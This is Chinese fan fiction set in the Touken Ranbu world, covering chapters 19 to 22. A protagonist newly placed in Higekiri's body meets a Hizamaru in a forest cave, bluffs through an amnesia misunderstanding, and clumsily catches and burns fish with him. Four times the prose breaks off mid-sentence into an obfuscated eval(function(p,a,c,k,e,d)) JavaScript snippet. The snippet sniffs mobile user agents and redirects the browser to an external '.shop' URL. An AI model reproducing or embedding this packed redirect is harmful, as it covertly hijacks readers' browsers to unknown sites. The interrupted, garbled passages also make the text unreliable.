他在思考现在是什么情况。 这身军装用不着细看了,一扫就知道是髭切身上的,作为他死前记忆里非常深刻的人物,他绝对不会连这一点都认错。 如果非要找一个说服自己的解释,那他现在穿着髭切的衣服不奇怪,毕竟只是一套衣服而已,强行解释也不是不能解释清楚,但真正的问题在于。 ……他现在好像完全变成髭切了。 …… 髭切捏着一根刚刚从自己头上拔下来的头发,全方位地仔细观察了一遍,确认它的确是一根奶白色的符合髭切头发长度的漂亮发丝,还是无可奈何地接受了这个事实。 其实他用不着拔头发的,只要直接开口说句话就可以了。不过显然髭切其实早就已经验证过这件事了,只是迟迟不愿面对现实而已。 ……不是吧,这怎么还要轮流上阵的?后面还有几个刃啊,全都要来一遍吗?真就带着一只羊薅啊? 髭切想起那时……“也可以说是我们中的任意一人。”忍不住眼前一黑。 虽然又活过来了感觉还是挺好的,毕竟只要有活的机会谁也不想死,但要他学会……不,甚至都没有学的时间和机会,直接上手扮演这群千年老刀,是不是太为难他了? 话说,髭切的刃际关系里最无法忽视的果然还是膝丸吧。 他一想到膝丸就有点眼前一黑,只要碰见那个髭切单推刃,绝对能立刻察觉出来他不是真货吧? 他实在不是很想被膝丸举着刀追着到处跑,且不说他是真的有可能跑不过膝丸,最重要的是——难道你就不觉得丢刃吗,髭切,好歹也是你的外表啊?!就这么给他一个大烂摊子吗? 不过显然,哪怕他的内心已经在咆哮了,真正的髭切也不可能突然跳出来回答他的问题。 髭切认命地叹了口气,扶着树干站起身,决定带着刀离开这里,总之,要先动起来才可能能有后续,对吧? ……等等,刀呢? 髭切先前被一连串的意外砸晕,再加上付丧神对自己的本体有感应,他也不担心刀会丢掉,也就一直没想起来要先去找刀。直到现在终于缓过来了一些,却发现本体刀根本不在身边。 不对,不是不在身边,是甚至完全感应不到本体刀。 髭切觉得自己头都大了。 老祖宗,这又是什么设定?怎么没刃给他透个底啊?之后碰到其他本丸的队伍让他怎么交代情况? 然而想再多也是没有用的,还是那个原因,真正的髭切不可能突然跳出来给他进行解答。 髭切只能暂时放弃找刀计划,走向密林深处。 与作为鹤丸时的落点不同,那时虽然周围也都是树林,但通行道就在身旁,现在的密林连方向都无法分辨,入目的全都是郁郁葱葱。 这到底是被扔到哪个鬼地方了,这群刃会不会选降落点啊?要曝光的话直接降落在万屋不好吗? 这个想法在冒出来的这一刻就已经被髭切自己否决了,虽然那样做也许效果的确会更好,但他目前还没有那么厚的脸皮,在大庭广众之下卖惨还是有点太考验他了。 髭切漫无目的地在林子里游荡,希望能寻找到其他人的痕迹,或是能迎面撞上出阵的付丧神小队。 明明第一次的时候还想躲着人走,现在倒是想快点撞上了。髭切忍不住为自己的变化感到有些好笑。 ……也许是因为,虽然才分离没多久,但他已经有些想念光坊做的饭了。 好累啊——如果光坊在的话说不定会直接扛着他走。 不不,这完全不可能吧,髭切笑着打散了这个念头。已经完全被光坊他们惯坏了啊,连这种荒唐的玩笑都能随口说出来了。 说起来,现在用着髭切的外表,称呼光坊还真是奇怪啊,哪怕没有说出口,违和感也不是一般的强,要是到时候喊顺口了,也不知道能吓到多少刃。 就在这时,一个显然的山洞入口映入眼帘,周围明显被简单清扫过。他眼神一凛。 这题他会,剧情触发点是吧?一般这种山洞里一定会藏着一到三振流浪中的暗堕刀剑,通常是一个马上要失控的重度暗堕,再加上一个轻度或中毒暗堕,一般两或三刃还是出自同一本丸的…… 髭切带着一种迷之自信走进了山洞内部。 然后开始思考要不要趁现在转身就跑。 ……虽然他已经做好要面对膝丸的心理准备了,但也没想到是这么突然的情况啊? 这振膝丸到底是怎么回事,明明看起来也没有暗堕的迹象,但是不知道是昏迷还是睡着在这里,一点动静都没有。他的队友呢?单骑出阵? 髭切皱着眉端详起膝丸。 虽然对可能会被追着砍的未来多少有点畏惧,但照髭切的说法,这也算是自己的弟弟,果然还是不能坐视不理啊。 ……身上的伤并不严重,只是衣服有点脏,但他这么明显的动作都没能把膝丸惊醒,果然有问题吧。 就在髭切思考现在的情况时,膝丸睁开眼,猛地翻身压过髭切,一只手摁住髭切的肩,另一只手将刀架在髭切脖子上。 冒犯了,原来不是没醒,是等着捉他。 髭切忍不住在心里狠狠嘲笑了自己两句。看吧,叫你多管闲事,这下要是被认出来不是真正的髭切,恐怕当下就得被膝丸斩了。 “……”髭切努力故作镇定地笑着看向膝丸。 拜托你能好糊弄一点吗?给你笑一个差不多得了,自己意会一下可以吗?他觉得自己脸都要笑僵了。 “……”膝丸愣愣地看着被自己压在身下的髭切,似乎在急速运转大脑处理当下信息。 膝丸似乎努力地成功理解了当前情况,他以一种让人难以置信的速度松开手,然后从髭切身上下来。如果髭切没感觉错的话,膝丸好像还差点摔了一跤。 “兄长?!”膝丸忍不住发出惊叹。 “我……不是故意的,呃,不是,我不知道是你……” 髭切看着膝丸费力解释的紧张样子,终于松了一口气。谢谢你,膝丸,他才知道紧张也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716119|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以比较的。 不过反正也不是真正的伤到了,只是这种程度就要紧张成这样吗? 髭切摆摆手示意膝丸不用再解释了。还好膝丸比他的反应更大,至少现在来看,应该暂时不用吃膝丸的刀了,好事好事。 “那个……弟弟丸,对吧?怎么自己在这种地方?”髭切笑眯眯地看向膝丸,抛出了他最开始就疑惑的问题。 虽然现在他身上也有事要做,不应该沾上其他麻烦事浪费时间,但看到“自己”的弟弟这幅惨兮兮的样子……嘛,真正的髭切应该也会希望这么去做吧? 如果真的是什么抛弃刀剑的行为,斩了那个人渣哦。髭切笑得愈加灿烂。 膝丸莫名感受到了一阵寒意,他的直觉与对兄长的熟悉告诉他,这股寒意的源头大概率就是面前的髭切。 膝丸:…… 他的经历实在有些……虽然不是惨那方面的,但总之一言难尽,哪怕是简单描述也很难说出口。他不是很想再回忆一遍,但也不想欺骗兄长,所以生硬的转换起话题。 髭切有些惊奇地看着膝丸的反应,连弟弟丸这个称呼都没反驳啊,这到底是想到什么了? “没什么,兄长呢?为什么会在这里?”他似乎问出这句话之后突然意识到问题所在,皱起眉头不自觉将手搭在了腰间的刀柄上。 “虽然理解你的心情,不过还是先把手拿下来吧?这里可没有恶鬼需要斩杀。” 髭切看膝丸不回答也并不打算追问,一来就算问出来了他也不知道能给出什么样的反应,二来这样他才能理直气壮地拒绝回答膝丸。 虽然他很想早点把那些事捅的人尽皆知,但告诉身边这振膝丸显然不会有什么用,这家伙都单骑出阵了,恐怕听完只会更想把时政大卸八块。 话都说到这了,髭切也是挺想感叹一句。时政到底是从哪把这些神奇宝贝招来的?入职真的不需要做背调吗? 呜哇,黑心企业。 “因为迷路了哦。”髭切甚至懒得找理由糊弄膝丸,随口借用了别刃的台词。 膝丸:? 膝丸:…… 膝丸一噎,欲言又止地默默看着髭切,显然也意识到了髭切在故意“报复”他。 髭切毫不在意膝丸的眼神攻击,毕竟是膝丸先试图糊弄他的,现在垓心虚的也不是他。而且髭切怎么会对弟弟丸心虚呢,对吧?要是ooc的话,可是会被膝丸当成恶鬼砍掉的哦。 “是的,迷路了,所以只能拜托弟弟丸先收留我了哦?” “是膝丸啊……诶,我?”虽然膝丸当然不会拒绝髭切,但他对自己能不能照顾好这位……来路不明的兄长这件事,还是保持怀疑态度的。 这种情况还是交给时政比较好吧? 髭切毫不理会膝丸的迟疑,直接脱下外套罩在头顶,然后无比顺畅地躺在了膝丸原本的位置上,双手叠放在腹部仰躺着。 外套里传出了闷闷的声音:晚安。 膝丸…… 膝丸已经看呆了。 20.失去本体刀的髭切 虽然还不算彻底安定下来,但至少现在身边有了膝丸,髭切还是放松了许多。 先前才刚刚亲身经历了死亡,转眼又要开始扮演一个难度这么高的角色,哪怕知道做出这个决定的可以说是过去的“自己”,髭切也还是对此接受无能了。 他多少有些心情低落,这才做出了这样的举动。 膝丸对髭切的行为虽然有些意外,但似乎并没有吵醒髭切的打算,只是沉默地坐在了髭切身旁。 髭切感受到膝丸的动作,终于找回了一丝还作为鹤丸时熟悉的安心感。 ……趁现在能稍微休息一下,好好整理一下思绪吧。 髭切现在才真正开始思考现状,顿时想明了一个一直被他误会的问题。 虽然他和这振膝丸可以说是刚刚认识,对方毕竟是膝丸,以膝丸的性格和源氏之间的羁绊,除非他做了什么事,能让膝丸彻底觉得他绝对不是髭切,否则他基本上都是绝对安全的。 那么只要尽快把这振膝丸的事情解决,就不会出什么岔子了。想到这里,髭切终于彻底放松下来。 其他的……就是他作为鹤丸的时候了。 早知道他不会真的死掉的话,当时就不说那么任性的话了。毕竟是那样近在咫尺的距离,会给光坊带来很大的冲击吧? 那时候光坊是哭了吧?髭切清楚地急得那时候脖颈处传来的滚烫的温度。不过也是,那种情况下……其实他也挺想哭的,只是实在情况紧急,还没来得及哭就已经碎刀了。 好想他们啊。髭切感到有些不自在,忍不住翻了一下身。要是还能再见一面就好了。 他眼睛又有些发烫了,但马上就被强行憋了回去。毕竟那时候都没来得及哭,现在再哭也太奇怪了,而且就算哭出来,光坊也不会出现的。 只会吓到旁边的膝丸,然后被紧张的膝丸抓住询问吧。 不过哪怕再有机会见到,也没办法那么亲近了吧,毕竟到时候他可就不是鹤丸的外表了。 髭切笑了一下。虽然那样子吓他们一跳也很有意思,不过为了自己可怜的脸皮着想,还是把这个念头有多远丢多远吧,他还不是很想上审神者们的终端头条。 …… 守在旁边的膝丸有些心情复杂。 虽然髭切对他不设防是很正常的事,这也很让他高兴,但这振兄长是不是稍微有点太没警惕心了? 他前不久才刚刚检查了一遍附近的情况,确定除了自己没有其他刃或者野兽的痕迹,才没过多久就出现了这振兄长,可以证明,髭切刚刚来到这个地方不久。 也就是说,髭切对这片区域大概率是完全陌生的。不管怎么说,连环境都没好好确认就这样休息,也太危险了吧。 ……有他在就另当别论就是了,毕竟这也是兄长对他信任的表现吧! 膝丸努力地说服了自己,并成功把自己哄开心了,可喜可贺。 坐立不安的膝丸静静地盯着髭切,总觉得哪都看起来不太舒服,最后不知道哪里灵光一现,把自己身上的外套脱了下来,盖在了髭切身上。 嗯,这样看起来就舒服多了。膝丸点头。 正在闷头思考的髭切:? 啊,他其实还没睡着呢,不过都这样了,他现在起来也不太合适了,那么好意他就领了。 ……但是他没记错的话,外面的天气是晴天,而且是非常晴的晴天。 膝丸,你能不能先看看今天的天气。髭切欲言又止了一会,思考自己要不要突然坐起来表达抗压,但想到这个尴尬的现状,还是无奈地决定继续躺在地上伪装尸体。 真的有点热。 但是……哪怕隔着层外套遮挡视线,髭切也非常明确地感受到了膝丸马上要飘出小花的雀跃心情。可怜孩子,这么开心得多久没见过哥哥了,他原谅这件外套了。 两刃就这么僵持了一会,直到髭切即将忍无可忍要掀开外套时,突然感觉到膝丸有了些动作。 他仔细听着身旁的声响,直到脚步声似乎已经离开了山洞,他思考了一会,迫不及待地坐起身,把身上两件外套都拽下来放到一旁。 真是的,都要被捂死了啊……髭切搓了搓发热的脸。 然后刚一抬头,就直直对上了山洞口膝丸望过来的复杂眼神。 完了。 光是记得髭切老谋深算心黑了,完全忘了膝丸同样是千年老刀。哪怕膝丸平时行动的确以髭切为主,但也不代表他自己就毫无心机。 故意在这种时候离开,恐怕就是故意的吧? 他刚刚那副样子可以说是一点也不像髭切,就连他自己都找不出一个合理的解释。 膝丸并不作声,但也毫不掩饰自己看到了全程的事实,直接迈开脚步向髭切走来,直到两刃距离不过一米,他才停下脚步,缓缓在髭切面前蹲下身。 “是太热了吗?”膝丸声音平平,语气丝毫没有异常,但反而让人更加忐忑。 髭切呆呆地点了点头。原谅他吧,他已经彻底不知道怎么处理现状的状况了,甚至有种用假照网恋被抓的尴尬感。 以及插播一句,这些奇怪的知识点究竟是哪把刀给他添加的记忆? “那直接告诉我就好了。”没听到想象中的质问,髭切松了口气,但马上又紧张起来,把心提到了嗓子眼。 不对,哪里都不太对。髭切再次提起警惕,准备随时开溜。这个反应膝丸是打算砍了他吗?不然不应该啊,怎么这么反常? 膝丸看着髭切又警惕起来的样子,多少感觉有点头疼,他是真的不知道,他有做什么会让髭切觉得危险的事吗?显然没有,所以他只能无奈地叹了口气。 他早就看出髭切不大正常了,就像现在全身紧绷的警惕状态一样,膝丸一眼就能看出来。就算髭切再试图伪装,那种青涩的演技也是骗不过膝丸的。 髭切眼里的陌生就好像只是听说过他,那无论如何也不会是兄长会漏出来的眼神,但在短短的接触后他又能确认,这振髭切绝对不是他人假扮的。 那么能说得通的唯一解释就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720867|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……失忆。 本来想直接挑明这件事的,只是失忆后的兄长果然也还是兄长,连逃避的方式都这么直接。也不知道是失忆的不够完全,还是对他实在太放心了。 ……好吧,他承认,这的确有用就是了。 “虽然不知道究竟发生了什么,但至少……我是可以信任的吧?”膝丸有这个自信,哪怕是失忆的髭切,也绝对能够信任他。 这不仅是对自己的自信,更是对兄长,对他们之间的信心。记忆的确很重要,但对聪慧而自我的源氏兄弟来说,也只不过是一种记录形式,失去与否都不影响对彼此的重要程度。 “无论是什么问题都可以,直接告诉我就好,如果兄长不记得了,那就重新来一遍吧,过去一直都是这样的。”膝丸努力地把自己的语气变得温柔。 ……等一下。 虽然他很感动,但现在这个情况好像哪里都不太对吧,他跟这振膝丸真的是只见过一见面吧? 哦,源氏兄弟本刃倒是见过几百年。 还有,这个失忆刃设怎么又给他穿上了?就算他的确演的很差,但就不能往遭受刺激性情大变的方向猜一次吗? 而且就算这样也不对吧?浓眉大眼的一个膝丸怎么还拐骗无知路过髭切啊?就算他刃设是失忆,但也不能觉得他傻到这个程度吧?在髭切一般不都是直接瞒着膝丸干大事吗? 髭切试图用谴责的眼神攻击膝丸的不知道还存不存在的良心。 事实证明,还存在。膝丸在面对哥哥时还是太有良知了。 膝丸不自在地咳了两声。 “我……很担心你,兄长。能告诉我吗,在你身上究竟发生了什么?” 髭切沉默了。 其实他已经成功被说服了。没办法,任谁看见这样的膝丸都没办法狠下心吧?但问题就是,他也不知道啊。 他也很想问问真正的髭切,这群刃身上到底发生了什么,总叫他一个刃无剧本表演他也很无奈的好吗? 但髭切的沉默似乎被膝丸理解成了另一个意思,刚刚还一副温柔表情的膝丸看起来都好像快哭了。 膝丸是真的觉得心情复杂,他当然不会觉得髭切的沉默是他们之间的感情本身出现了问题,或者说最不需要担心的就是这一点。 他只是忍不住去猜测,髭切的反应不像是一点都不记得。现在的沉默和最开始对他微妙的“熟悉”都能证明这一点。 那么,能让髭切都一点也不愿意对他说出口的经历,会是多么残酷? 髭切越看膝丸的表情变化越是感到汗流浃背。这种情况……果然还是先蒙混过关吧? “嘛……也不是什么重要的……”膝丸直接伸出手打断,一把摁住了髭切的肩。 髭切:? “不用再说了,兄长……”髭切眉心一跳,一抬眼就看见膝丸沉重而悲痛的眼神,好像下一秒就要哭出来,终于忍无可忍。 “那个啊……膝丸。” “哥哥的话,要好好听吧?”^-^ 21.失去本体刀的髭切 “哥哥的话,要好好听吧?” 这幅样子简直和正常的髭切无异,膝丸在此刻甚至以为髭切是不是突然恢复了记忆,差一点就要激动到迫不及待问出声。 但还好,他在行动前及时抬头,看到了髭切身后盛放的黑色百合花。 膝丸欲言又止,膝丸紧急刹车,膝丸以迅雷不及掩耳之速反应过来并改口了。 “是的!” 就连髭切都不得不感叹一句,站的还真是笔直啊。 “真是伤脑筋呢……那个……” “是膝丸,兄长。”膝丸心领神会。 “嗯嗯,我知道了,弟弟丸。关于你想知道的东西,就算我愿意告诉你,也完全一点都不记得了呢。”髭切故作苦恼地一摊手,一脸无辜地看向膝丸。“所以,姑且先冷静一点怎么样?” 说完,完全不等膝丸给出回应,直接头也不回地走向了山洞口的方向,只留下原地一个手忙脚乱的膝丸。 “兄长,衣服……!”膝丸慌乱地捡起了地上被遗忘的两件外套,匆忙跟上髭切的脚步。 膝丸随行在髭切身侧,小心翼翼地观察着髭切的表情,想搞清楚现在的髭切究竟是怎么样的想法。 髭切只觉得浑身不自在,他完全不知道自己现在应该做出什么反应,只能条件反射地顺从自己的心意逃离现场。 这样陌生的善意对他来说还是太超纲了,瞬间就能把他搅的手忙脚乱。虽然现在和作为鹤丸时已经不同,他清楚自己并不是在冒用别人的身份,可实在是……就算这样,他也对这些未曾谋面的亲人完全不熟悉啊。 更何况他刚刚还那样直接凶了膝丸。太坏了,他怎么这么坏! 髭切几乎都想要像之前那样,直接捂脸蹲在地上哀嚎了。但可惜作为髭切的他是做不出这种事情的,形象包袱还是要一点的。 现在的情况可与那时候不同,膝丸见到的,并不是和烛台切光忠相处时一无所知的鹤丸,而是已经对此有了一定经验的髭切,无论是熟悉程度还是难度都更上了一个台阶。 因此,他对髭切现在不好意思的心理丝毫毫不知情,也看不出来,就这么直直地追了出来。 ……所以现在,髭切甚至连该做什么表情都反应不过来,只能把嘴紧紧抿成一条线,努力让自己忽视脸上浮起的温度。 膝丸把这些都看在眼里,对髭切的担忧不住地涌上来。 毫不夸张地说,他们源氏兄弟都是极其自我的刃,除了源氏的荣耀和彼此,其他的东西都不会被放在心上。哪怕是审神者,也只会选择他们所认可的人为“家主”,否则就只不过是审神者罢了。 羁绊如此紧密的两刃,什么时候像这样生疏过,让髭切连和他亲近都变得这么回避? “兄长……”膝丸试探着开口。 “住嘴。”被髭切毫不犹豫地堵回去了。 膝丸一噎。 髭切注意到他的异状,才突然反应过来自己刚刚说了什么,忍不住沉默了一瞬。 “你刚刚想说什么?”他有些尴尬地询问。 “我们到底要去哪?”膝丸忍不住回头,现在的位置已经很难看到他们出来时的山洞了,这里的林子太密,很容易迷路。 更远的地方他没有勘察过,恐怕就不是那么安全了,他有些担心髭切。 好问题,又把髭切问住了。其实他也不知道,他只是想逃离尴尬现场所以随便走了个方向而已。 这林子这么大,他连东南西北都没认明白,哪里知道自己要去哪,就算是现编一个目的地,他都不知道附近有什么地方能去。 ……既然如此!搬出最万能的招式吧! “你吃饭了吗?”此乃社交绝技之一,没话找话的顶尖话术。 膝丸表情空白:? “还、还没有?”其实他已经吃过了,但总觉得如果不接这句话,面前的兄长会做出一些奇怪的事……不不不,怎么能这样想兄长,是他饿的太快了,绝对。 “这样啊,真是没办法呢,那就去想办法找点吃的吧?”髭切对膝丸的回复非常满意,用眼神给出了一个极高的评价,不出意料地对膝丸打出了特攻。“可不能让膝丸饿肚子啊。” 膝丸在接收到髭切的赞赏后完全亢奋了,真不知道该说好骗还是听话。 他立刻开始思考附近符合标准的地方,然后伸手指向了一个髭切从未踏足过的方向。 “我明白了!兄长,请走这边!”好强的信念感。恐怕只有面对和泉守兼定时的堀川国广,和面对审神者时的压切长谷部有一较之力了。 …… “诶……”髭切看着眼前的河流,发出了意味不明的感叹。“要抓鱼吗?” 说完眼前一亮,又一次不等膝丸开口就冲进了河里,好在这小河一点也不深,不过是刚刚没过膝盖而已。膝丸刚看到髭切动作时吓了一跳,条件反射就伸手想要拦,不过还好下一秒就立刻反应过来缩回了动作。 这次倒不是髭切故意忽视膝丸,只是因为这是他真正诞生以来第一次见到河,难免有些激动,不小心就忘了身后还跟着人。 对此膝丸倒是不甚在意,他只是觉得难得再见到兄长这样活泼而已。 上一次兄长露出这幅看什么都新奇的样子,还是在未曾进入时政,在历史长河中刚刚显现时。 ……真怀念啊。 别的膝丸要是知道了一定会羡慕他的吧? 膝丸发出了诡异的妈妈一样的感叹。 膝丸沉浸在回忆中时,髭切正在另一边跟鱼展开殊死搏斗。 他怎么都想不通,为什么世界上会有鱼这么难抓的生物,他已经使用了各种角度下手捞了这条鱼十几次,但没有一次成功的,别说成功了,甚至连鱼尾巴都没摸到一下。 这条鱼从一开始的惊慌躲避,到现在只把髭切当成空气,只花了大概十分钟。这条鱼甚至非常有灵性地等着他,每次从他手里逃脱都要回头非常明显地嘲讽他。 髭切头上忍不住冒出一个明显到非常惊人的生气符号。建国后不许成精懂不懂啊? 就在这时一柄刀从侧面飞来,直直钉在了这条鱼身上,把它彻底摁死在了水底。 髭切先是忍不住在心里非常幼稚地得意起来,随后拔出插在水底的刀,顺便摘下了刀上串着的鱼,转头看向刀飞来的方向。 如果他的分析没错,现在膝丸脸上大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725237|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正一左一右印着两个字。 求。 夸。 不得了,膝丸此刃撒娇功底堪比短刀,此技能已然融入膝丸成为了顶尖天赋技。 髭切已经被这个撒娇彻底俘获了,抱歉,他现在选择性地没什么面子包袱,所以他决定狠狠地夸奖这个一直在卖萌的膝丸。 于是髭切露出了一个非常灿烂的笑。 “哎呀!真是好棒的弟弟,帮大忙了,好棒好棒~” 不,等一等,膝丸好像完全被吓到了啊。 “兄长……”膝丸欲言又止。 “嗯?厉害丸是觉得还不太够吗?这样啊这样啊,我明白了,刚刚超帅气哦,是哥哥见过最厉害的鱼丸哦~”髭切毫不在意膝丸的异常,悠闲地拎着鱼回到岸上,边走边念叨着。 “是膝丸啊……!兄长!!”膝丸要哭了啊。 很难说髭切到底是不是故意的。 …… 髭切和膝丸蹲在一起和鱼面面相觑。 很显然,两刃都不是会做饭的样子,不知道为什么在抓鱼的时候竟然没有考虑到这一点。 髭切托着腮开始发呆。 ……其实不吃也没关系吧,反正他们两个也没一个是真的饿的。 “……放生吧?” 膝丸用一种见鬼的眼神看向髭切:? “不,等等,它已经死了吧?!” “啊,是吗,真遗憾啊。”髭切稍加思考。“那现在把它放回去假装它是淹死的吧?说不定会吓到幸运的路人呢。” “……但它身上还有刀口。”而且这样真的幸运吗? 髭切终于放弃了这些没营养的对话,随手掰了一根树枝串在鱼上,一脸郑重地看向膝丸。 “想不想尝尝我的手艺。” “诶,可以吗?不,请务必让我尝尝!”髭切看着膝丸的身后燃起的火焰默默鼓掌,然后递出了一根树枝。 ……点燃了?!这就是二次元吗。 髭切看着手里燃烧的树枝默默思考。 身后,膝丸擦着汗看向手中的打火石。 不,这是弟弟爱的手速。 髭切看着亢奋起来的膝丸,露出了一个神秘微笑。 看起来很高兴呢,膝丸,真好啊。 不久后髭切递给膝丸一根烤的惨不忍睹的鱼干。 就是可惜高兴的太早了。 膝丸沉默地颤抖着手接过了这根鱼,努力克服着自己逃跑的欲望,将鱼凑近嘴边。 髭切怀疑膝丸快要战胜自己兄控的底层代码了,或者说这种时候还不叛逆一下也太奇怪了,吃这种东西都可以算是坦然赴死了吧? 膝丸抬头看了看髭切,又低头看了看手中的鱼,最后大概还是对兄长的爱战胜了逃跑的欲望? 总之能看到的是,膝丸心一横一口咬了下去。 膝丸僵住了。 膝丸木着眼神又看了一眼髭切。髭切正笑眯眯地看着他。 ……如果是兄长的话!! 呕,好难吃。不行这是兄长做的。呕,好难吃。不行这是兄长做的。呕,好难吃。不行这是兄长…… 膝丸摇起了小白旗。 22.失去本体刀的髭切 髭切垂着眼坐在山洞的石块上,静静地开始思考之后的安排。 他没有太多时间能留在膝丸身边,从上一次鹤丸的经历来看就知道,那个前主背后的势力能力不小,如果他不能连续搅起多次风波,那这件事大概率会在一次次的灭口中杳无音信。 所以,必须要尽快解决。 说起来森林的温差还真是大,晚上和白天完全不是一个量级,如果不是膝丸还比较有经验,他今晚就得迎着风当个冻死鬼了。 “我们一定要吃鱼吗?”髭切眉头微蹙,看着膝丸手里同样惨不忍睹的烤鱼发出疑问。 该说不愧是兄弟吗?连手艺都这么相像。 正在烤鱼的膝丸面前,燃起的火光点亮了幽暗的山洞内部,映照着髭切和膝丸的脸。 髭切无聊地把手伸向火堆旁感受炽热的温度,被膝丸轻轻地挪开了。 感受到膝丸的动作,他好笑地盯着膝丸。 哥哥又不是小孩子了,怎么还是这么操心啊,这样子会很快变老的哦?虽然很想这么说出来,但就现在的场景来说,他担心说出来会彻底把膝丸惹炸毛了。 现场安静的氛围中,膝丸手里烧焦的鱼存在感强得可怕,死死盯着鱼散发怨气的膝丸更是无法忽视。 髭切明白,膝丸是想给他做点还算能吃的东西。所以他虽然没什么食欲,但也对此很是受用,毕竟这可是有弟弟的人才能体验到的甜蜜的烦恼啊。 但是饭灵根这种东西……没有就是没有,再怎么想要也强求不来。这一点髭切自己就深有体会,从他当时做出来能把自己吃中伤的曲奇就能看出来。 膝丸身旁已经堆了十几条的焦鱼,刚刚拿起的就是最后一条了,髭切真怕这次他再不成功,会跑去河边再捞一次。 他们两个都快把那条河里的鱼全都捞回来了,再这样下去,恐怕会成为首例灭鱼满门的刀剑男士。 看来必须得阻止一下了呢。 “会变成鱼切吗?”髭切没头没尾地蹦出了这么一句话。 膝丸听到后沉默了一瞬,像是也被这个名字狠狠震慑住了,但他立刻接上了髭切的脑回路,并给出了令人满意的大惊失色的反应。 “……不,你的名字是髭切啊兄长!”出现了,经典台词。 髭切对此不甚在意,只是视线轻飘飘地瞥过膝丸,沉默着不再回答了。 膝丸已经习惯了髭切时不时的沉默,也并不觉得尴尬,继续埋头烤着那根压根不可能熟的鱼。 “那鱼丸怎么样?”髭切软绵绵的声音飘来,却给了膝丸大大的暴击。 膝丸被这个称呼刺激地手一抖,最后一根烤鱼就这么掉进了火堆。 膝丸“无助”地看了看髭切,髭切也笑眯眯地回望膝丸。 两刃面面相觑,最后以髭切没憋住的笑声终结了这场默剧。 “哎呀,看来是焦鱼丸呢?” “……请不要再取笑我了。”膝丸当然知道这是髭切故意的,但膝丸能怎么办呢?他只能深深地叹了一口气,然后无奈地把恶趣味的兄长原谅。 髭切就这么眼睁睁看着膝丸变成了一颗忧郁且沸腾的蘑菇,好笑地跳下石碓,轻轻拽了一把膝丸。 膝丸没有丝毫反抗,顺着髭切的力道站起身,任谁来了都得感叹一句听话。 “是,是,膝丸,对吧?”髭切眼看逗的差不多了,也知道见好就收。 那怕是他也懂得这个道理的哦,否则真把膝丸逗得炸毛了,恐怕他这个临时哥哥还不知道要怎么哄。 不过髭切的考虑显然是多余的,能被一句“膝丸”瞬间安抚下来的刃,能对哥哥有什么哄不好的脾气呢? “这些要处理一下的吧?”髭切指着满地的焦鱼干。“否则明天恐怕就臭了。” “是的,等下准备丢回河里。”膝丸点点头。 髭切又一次陷入沉默,膝丸看着兄长沉思的动作,静静等着髭切思考结束。 “被淹死的烤鱼。”髭切面无表情地说出了奇怪的话。“会有人信吗?” 膝丸:? 好冷的笑话。他甚至一时之间不知道该做出什么反应。 “别露出这种表情嘛,我一个人在这里会很无聊呢,快去快回吧?”髭切笑得灿烂,但却给人一种不祥的预感。 有种这家伙要做坏事了的感觉。 事出反常必有妖,膝丸也明白这个道理,他心里有些不安,但奈何他是完全拒绝不了髭切的设定,只能暂且忍下这种感觉,一步三回头地离开了。 …… 髭切走出两步,确定膝丸已经彻底离开附近后,就收起了表情。 那么,该动身了。 虽然他不清楚过去究竟发生了什么,但可以肯定的一点就是前主背后的势力非常难缠。 以地葵那么有信心的背景,都能在毫不知情的情况下被破开本丸封印,那现在再一次找到他也不过是时间问题而已。 本来以为膝丸是被遗弃的刀剑,但在冷静之后完全可以发现膝丸身上的灵力很充沛,等级也不算低,说明他身上的契约并没有断开,并且有足够的自保能力。 那么髭切也就多少放心一些了。 虽然目前看来,膝丸现状的异常还是很多,比如明明没有打算遗弃,却把膝丸一个刃丢出来这么久。但至少可以确定他短期内没有危险,至于长期以后…… 髭切想到了膝丸白天时见到他的欣喜。 那个本丸想必是没有髭切这振刀的,否则膝丸在见到他时不会那么激动。而没有髭切牵绊着的膝丸也不会有什么弱点,就算膝丸的审神者真的是人渣,膝丸也可以自如地反应,无论是选择逃离还是反抗,都不会受到什么制约。 其实抛开这些理由,最重要的是,论长期,髭切恐怕也活不到那个时候。 总之,在髭切看来,无论是哪一种情况,都比留在髭切身边要强。 如果又被那家伙找上来,以膝丸的性格绝对不可能抛下他自己走掉,那么要面临的恐怕就是碎刀了,唯独这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 